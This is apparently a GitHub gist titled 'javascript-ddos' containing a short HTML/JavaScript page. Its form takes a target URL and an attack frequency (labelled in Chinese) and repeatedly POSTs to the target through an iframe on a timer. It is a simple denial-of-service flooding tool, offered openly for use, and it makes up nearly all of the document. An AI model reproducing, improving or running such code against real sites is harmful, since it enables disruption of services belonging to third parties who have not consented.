Created
May 21, 2015 05:17
-
-
Save wy36101299/f48e5c0a4a92d6ddc1d6 to your computer and use it in GitHub Desktop.
javascript-ddos
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form name="attack" id="attack" target="attack_frame" action="" method="POST"> | |
<p>攻擊之網址</p> | |
<input type="text" id="url" value=""></br> | |
<p>攻擊之頻率</p> | |
<input type="text" id="frequent" value=""></br> | |
</br> | |
<input id="button" type="submit" onclick="myVar" value="Attack" /> | |
</form> | |
<iframe name="attack_frame" id="attack_frame"></iframe> | |
<script type="text/javascript"> | |
button.onclick=function(){ | |
var myVar = setInterval(function(){ | |
document.getElementById("attack").action = document.getElementById("url").value | |
document.forms["attack"].submit(); | |
},document.getElementById("frequent").value); | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment